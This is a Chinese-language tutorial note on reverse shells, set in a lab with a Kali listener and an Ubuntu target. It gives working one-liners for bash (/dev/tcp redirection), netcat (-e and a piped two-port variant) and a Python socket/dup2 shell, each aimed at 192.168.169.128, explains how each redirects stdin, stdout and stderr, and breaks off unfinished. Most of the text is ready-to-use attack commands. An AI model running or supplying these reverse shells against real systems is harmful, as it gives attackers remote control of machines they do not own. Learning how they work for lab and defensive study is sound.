bash反弹
反弹指令:
bash -i >& /dev/tcp/ip/port 0>&1
反弹步骤:
在kail上开启7777侦听:
nc -lvp 7777
在靶机上输入反弹指令即可反弹成功
基础知识
linux下有三个标准的文件描述符:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
>&代表重定向
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
指令分析
- bash -i表示本地打开一个bash
- /dec/tcp时linux系统一个特殊的设备,打开这个文件后会自动建立一个socket以连接对应IP的端口。而>&后面加上这个远端连接就等于将本地的标准输出和标准错误输出重定向到远端的连接。假如连接的IP对应端口处于listening状态,在靶机输入指令结果就会在kail上显示。
在kail上开启监听 7777端口
ubuntu上打开一个bash并将标准输出和错误重定位到kail的连接上。
此时在ubuntu上输入ls,发现已经指令和结果已经显示到kail上。
因为没有将标准输入重定向到kail中故在kail中输入指令无法得到结果。
- 而0>&1则代表将标准输入重定向到标准输出,由2.可知标准输出已经重定向到远程,故可在远端输入指令,同时在远端显示指令输出的内容。
输入bash -i >& /dev/tcp/ip/port 0>&1
将输入流重定位后,kail可输入指令并返回结果。
0>&2的效果也相同,因为标准错误输出也已经重定位到了kail上。
netcat反弹
nc反弹shell的前提条件是靶机上需要支持nc命令,且根据nc版本的不同反弹的指令也略有差异。
nc -e反弹
假如nc上有 -e 命令,可用nc -h查看
反弹指令:nc -e /bin/bash 192.168.169.128 7777
反弹指令的意思是nc建立连接后可以执行-e后面的文件/bin/bash即可以执行shell指令。
使用管道符反弹
假如nc不支持 -e 指令就要使用linux的管道符来帮助反弹shell
管道符 | 可理解为管道符前的输出经过管道符传输给了管道符后当作输入。
在kail上开启7777和8888的端口。
在ubuntu输入反弹指令:nc 192.168.169.128 7777|/bin/bash|192.168.169.128 8888
此时在7777监听端口输入的指令会传到ubuntu中被/bin/bash执行,输出的结果又会传到8888监听端口中显示
python反弹
在kail上开启7777端口监听
反弹指令:
python3 -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.169.128',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i'])"
指令分析
# 导入所需要的os,socket,subprocess包
"import os,socket,subprocess;
# 创建一个tcp套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
# 与目标ip 端口号建立tcp连接
s.connect(('192.168.169.128',7777));
# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。
# 分别将标准输入,标准输出,标准错误输出重定向到远端的连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
# 打开一个子进程以-i 交互的方式执行
p=subprocess.call(['/bin/bash','-i'])"
未完待续…